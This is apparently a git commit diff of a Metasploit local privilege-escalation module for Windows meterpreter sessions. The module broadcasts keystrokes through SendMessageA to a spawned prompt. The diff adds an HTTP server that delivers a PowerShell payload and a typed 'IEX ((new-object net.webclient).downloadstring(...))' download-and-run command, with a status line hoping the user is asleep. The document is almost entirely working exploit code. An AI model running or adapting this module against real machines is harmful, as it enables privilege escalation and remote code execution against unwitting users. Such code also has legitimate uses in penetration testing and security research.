@@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Local
13
13
Rank = ExcellentRanking
14
14
15
15
include Msf ::Exploit ::EXE
16
+ include Msf ::Exploit ::Remote ::HttpServer
16
17
17
18
def initialize ( info = { } )
18
19
super ( update_info ( info ,
@@ -39,7 +40,7 @@ def initialize(info={})
39
40
] ,
40
41
'Platform' => [ 'win' ] ,
41
42
'SessionTypes' => [ 'meterpreter' ] ,
42
- 'Targets' =>
43
+ 'Targets' =>
43
44
[
44
45
[ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
45
46
[ 'Windows x64' , { 'Arch' => ARCH_X86_64 } ]
@@ -60,7 +61,7 @@ def initialize(info={})
60
61
OptBool . new ( 'SPAWN_PROMPT' , [ true , 'Attempts to spawn a medium integrity command prompt' , true ] )
61
62
] , self . class
62
63
)
63
-
64
+
64
65
register_advanced_options (
65
66
[
66
67
OptBool . new ( 'EEGG' , [ false , '' , ] )
@@ -70,38 +71,36 @@ def initialize(info={})
70
71
71
72
def win_shift ( number )
72
73
vk = 0x30 + number
73
- bscan = 0x81 + number
74
+ bscan = 0x81 + number
74
75
client . railgun . user32 . keybd_event ( 'VK_LWIN' , 0x5b , 0 , 0 )
75
76
client . railgun . user32 . keybd_event ( 'VK_LSHIFT' , 0xAA , 0 , 0 )
76
- sleep ( 0.01 )
77
77
client . railgun . user32 . keybd_event ( vk , bscan , 0 , 0 )
78
- sleep ( 0.01 )
79
-
80
78
client . railgun . user32 . keybd_event ( vk , bscan , 'KEYEVENTF_KEYUP' , 0 )
81
79
client . railgun . user32 . keybd_event ( 'VK_LWIN' , 0x5b , 'KEYEVENTF_KEYUP' , 0 )
82
80
client . railgun . user32 . keybd_event ( 'VK_LSHIFT' , 0xAA , 'KEYEVENTF_KEYUP' , 0 )
83
81
end
84
-
82
+
85
83
def count_cmd_procs
86
84
count = 0
87
85
client . sys . process . each_process do |proc |
88
- if proc [ 'name' ] == 'cmd .exe'
86
+ if proc [ 'name' ] == 'powershell .exe'
89
87
count += 1
90
88
end
91
89
end
92
-
90
+
93
91
vprint_status ( "Cmd prompt count: #{ count } " )
94
92
return count
95
93
end
96
-
94
+
97
95
def cleanup
98
96
if datastore [ 'SPAWN_PROMPT' ]
99
97
vprint_status ( "Rehiding window..." )
100
- client . railgun . user32 . ShowWindow ( @hwin , 0 )
98
+ # client.railgun.user32.ShowWindow(@hwin, 0)
101
99
end
102
100
end
103
101
104
- def exploit
102
+ def primer
103
+ start_service
105
104
# syinfo is only on meterpreter sessions
106
105
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\n dyB0aGUgV2hpdGUgUmFiYml0Lg=="
107
106
print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " ) if not sysinfo . nil?
@@ -111,14 +110,14 @@ def exploit
111
110
if @hwin == nil
112
111
@hwin = client . railgun . user32 . GetForegroundWindow ( ) [ 'return' ]
113
112
end
114
- # client.railgun.user32.ShowWindow(@hwin, 0)
115
- # client.railgun.user32.ShowWindow(@hwin, 5)
113
+ client . railgun . user32 . ShowWindow ( @hwin , 0 )
114
+ client . railgun . user32 . ShowWindow ( @hwin , 5 )
116
115
117
116
# Spawn low integrity cmd.exe
118
117
print_status ( "Spawning Low Integrity Cmd Prompt" )
119
118
windir = client . fs . file . expand_path ( "%windir%" )
120
- li_cmd_pid = client . sys . process . execute ( "#{ windir } \\ system32 \\ cmd .exe" , nil , { 'Hidden' => false } ) . pid
121
-
119
+ li_cmd_pid = client . sys . process . execute ( "powershell .exe" , nil , { 'Hidden' => false } ) . pid
120
+
122
121
count = count_cmd_procs
123
122
spawned = false
124
123
# Bruteforce taskbar position Win+Shift+?
@@ -139,17 +138,26 @@ def exploit
139
138
140
139
fail_with ( Exploit ::Failure ::Unknown , "No Cmd Prompt spawned" ) unless spawned
141
140
end
142
-
141
+
143
142
print_status ( "Broadcasting payload command to prompt... I hope the user is asleep!" )
144
- payload = Rex ::Text . decode_base64 ( e ) if datastore [ 'EEGG' ]
145
- payload . each_char do |c |
146
- print c
143
+ data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
144
+ url = get_uri ( )
145
+ download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
146
+ command = download_and_run
147
+ command = Rex ::Text . decode_base64 ( e ) if datastore [ 'EEGG' ]
148
+ command . each_char do |c |
149
+ print c if command . length < 200
147
150
client . railgun . user32 . SendMessageA ( 'HWND_BROADCAST' , 'WM_CHAR' , c . unpack ( 'c' ) . first , 0 )
148
- sleep ( 0.01 )
149
151
end
150
- print_line
152
+ print_line
151
153
print_status ( "Executing command..." )
152
154
client . railgun . user32 . SendMessageA ( 'HWND_BROADCAST' , 'WM_CHAR' , 'VK_RETURN' , 0 )
153
155
end
156
+
157
+ def on_request_uri ( cli , request )
158
+ print_status ( "Delivering Payload" )
159
+ data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
160
+ send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
161
+ end
154
162
end
155
163
0 commit comments